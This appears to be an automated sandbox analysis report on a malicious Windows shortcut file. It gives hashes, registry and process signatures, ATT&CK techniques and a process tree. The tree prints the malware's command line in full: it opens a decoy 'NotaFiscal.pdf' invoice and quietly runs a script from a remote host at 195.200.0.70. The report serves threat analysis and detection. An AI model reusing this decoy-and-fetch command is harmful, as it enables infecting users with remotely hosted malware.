d644b37994b1e8c51299db57c7c14ed5dd6842c25ac84caf1da66afb7230d1e8

Analysis

max time kernel
135s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
03-06-2024 20:03

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General

Target

d644b37994b1e8c51299db57c7c14ed5dd6842c25ac84caf1da66afb7230d1e8 (1).lnk
Size

3KB
MD5

12cadfba6434ba5809c5efe845e15064
SHA1

a38aaade9638d7a76dfed412a089c3a7fb1df95e
SHA256

d644b37994b1e8c51299db57c7c14ed5dd6842c25ac84caf1da66afb7230d1e8
SHA512

9afc8511058f16ffe35160030b6aa9601a59db24249f357ab79854be4ecc71c61d3c04eaefda8744e7d5915f6339d44cd3976a93dc548e5c4b556123e8bd077a

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe
2416	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 3480	3188	cmd.exe	93
PID 3188 wrote to memory of 3480	3188	cmd.exe	93
PID 3480 wrote to memory of 2416	3480	cmd.exe	94
PID 3480 wrote to memory of 2416	3480	cmd.exe	94
PID 3480 wrote to memory of 2416	3480	cmd.exe	94
PID 3480 wrote to memory of 2088	3480	cmd.exe	96
PID 3480 wrote to memory of 2088	3480	cmd.exe	96
PID 2416 wrote to memory of 2476	2416	AcroRd32.exe	106
PID 2416 wrote to memory of 2476	2416	AcroRd32.exe	106
PID 2416 wrote to memory of 2476	2416	AcroRd32.exe	106
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 4424	2476	RdrCEF.exe	107
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108
PID 2476 wrote to memory of 372	2476	RdrCEF.exe	108

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\d644b37994b1e8c51299db57c7c14ed5dd6842c25ac84caf1da66afb7230d1e8 (1).lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /min /c "echo Documento Indisponivel > C:\Users\Admin\downloads\NotaFiscal.pdf & start C:\Users\Admin\downloads\NotaFiscal.pdf & start /min cmd.exe /c "\\195.200.0.70@80\c\c.cmd""
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\NotaFiscal.pdf"
    3⤵
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2476
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C63B36DB08353DCAA59BCD16EF5AC4BD --mojo-platform-channel-handle=1760 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:4424
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=6D082266BD351FCF8020D690AEFC95FC --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=6D082266BD351FCF8020D690AEFC95FC --renderer-client-id=2 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:372
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D55E677CF03987CAC83EBD123B68FEDF --mojo-platform-channel-handle=2336 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:3480
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7789672F22BEE9EDFC082CFB2CB20ABD --mojo-platform-channel-handle=1956 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:3724
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AF5527682DCFAA4FD2E137FCBCB07C31 --mojo-platform-channel-handle=2360 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:1528
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "\\195.200.0.70@80\c\c.cmd"
    3⤵
    PID:2088

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4244,i,13035806169561352434,1332896185314862791,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:8
1⤵
PID:1200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
8c90ad4f11480b4816b9cbd9b6a37bf1

SHA1
7c4e20339e9e332d062ba33e7e5ee9598fc4e07f

SHA256
ca89887715995a7befd394932d4f5107bf6fbaabe2c5569cdaf49fa97a76b331

SHA512
787c509ef6caec74ac471c1fde5babe58204b79bbcbc1e201bab1878aa9171e0e60ebd1e7868ba56995802f27f593ebfb79305b8a01f488a855c2882cea80a66

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\Downloads\NotaFiscal.pdf

Filesize
26B

MD5
6125d4c93a721fe5ec4e9204ce8fad5e

SHA1
c288157e49660370b1bc69cb1b00973cf2ba2254

SHA256
c5117a1745690cae1fbdef98120c8fd3e0de57f54dccffe503c151229df196ae

SHA512
945d350cbe80de104b802a54161aee81e091d852a071f07b4fa2cd14698c7402808708b55e5a86f40aa6480e17273b46cabb9f5fb85c24965020dfbd3e76faeb

Download Submit